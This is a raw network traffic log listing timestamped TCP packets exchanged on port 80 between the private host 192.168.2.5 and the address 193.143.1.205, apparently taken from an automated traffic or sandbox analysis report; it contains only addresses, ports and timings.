Jan 10, 2025 23:55:20.332715034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.333230972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.333252907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.333291054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.335443020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.335453987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.335491896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.335515022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.335525036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.335560083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.336956024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.366430998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.366444111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.366461992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.366525888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.397399902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.397412062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.397428989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.397442102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.397453070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.397465944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.397479057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.397481918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.397541046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.397547007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.397547007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.397557020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.397569895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.397582054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.397608995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.397636890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.415923119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.415941954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.415955067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.415966988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.415977955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.416002035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.416038036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.431304932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.431350946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.431355000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.431376934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.431390047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.431408882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.431421995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.431423903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.431447983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.431469917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.431480885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.431514025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.431514978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.431526899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.431539059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.431560040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.431583881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.431596041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453244925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453268051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453279018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453291893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453304052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453315020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.453353882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.453353882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.453394890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453404903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453424931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453438044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453449011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453454018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.453464031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453474998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.453490019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453501940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.453552008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453574896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453587055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453596115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.453613997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453628063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.453689098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453731060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.453747034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453759909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453799009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.453805923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453819036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453830957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453845024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453856945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.453856945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.453896046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454047918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454058886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454093933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454102039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454113960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454125881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454139948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454152107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454164028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454164982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454178095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454190969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454217911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454246044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454257011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454269886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454277039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454291105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454313040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454313040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454340935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454615116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454627037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454641104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454652071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454657078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454667091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454679012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454706907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454727888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454741001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454777002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454849005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454860926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454873085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454894066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454921007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454932928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454945087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454958916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.454962969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454988956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.454998970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.455012083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.455024004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.455038071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.455050945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.455050945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.455063105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.455086946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.455132961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.455147028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.455159903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.455167055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.455178976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.455194950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.458168983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458182096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458194017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458204985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458214045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.458219051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458235979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.458259106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458261967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.458276987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458290100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458308935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458317995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.458323956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458337069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458344936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.458349943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458364010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458375931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458379030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.458389044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458398104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.458425045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.458636045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458731890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458745003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458758116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458777905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458777905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.458791018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458803892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458815098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.458821058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458836079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458842039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.458854914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458862066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.458888054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458897114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.458899975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.458934069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.459347963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.459408998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.459419966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.459445953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.459446907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.459487915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.459498882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.459512949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.459543943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.459561110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.459573030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.459606886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.461639881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.461682081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.494915009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.494927883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.494940042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.494954109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.494966030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.494975090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.494977951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.494992018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.495016098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.495037079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.514730930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.514756918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.514776945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.514790058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.514789104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.514801979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.514816046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.514827967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.514832973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.514832973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.514862061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.530464888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.530487061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.530499935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.530543089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.530544043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.530559063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.530571938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.530584097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.530591965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.530596018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.530618906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.530642986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.555022001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.556030989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.556066990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.556081057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.556099892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.556112051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.556118011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.556124926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.556149006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.556176901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.562279940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.567379951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.567400932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.567419052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.567430973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.567444086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.567456007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.567470074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.567476034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.567481995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.567501068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.567519903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.574800014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.578474045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.588823080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.588845015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.588865995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.588876963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.588901043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.588912964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.588926077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.588947058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.588957071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.588960886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.588974953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.588989019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.588996887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.589004040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589010954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.589019060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589051008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.589135885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589176893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.589236975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589247942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589258909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589271069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589279890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.589291096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589303970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589310884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.589313030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589325905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589344025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589348078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.589361906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589364052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.589375019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589389086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.589396000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.589435101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.589989901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590003967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590015888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590050936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.590101004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590114117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590127945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590138912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590140104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.590153933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590189934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590200901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590213060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590233088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590244055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590256929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590264082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.590270042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590337992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590348959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590363979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590382099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590394974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590405941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590419054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590430975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590442896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590527058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.590615034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.590622902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590681076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590691090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590703011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590727091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.590751886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.590754986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590780020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590821028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.590826988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590841055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590873957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590883970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.590886116 CET	80	49704	193.143.1.205	192.168.2.5
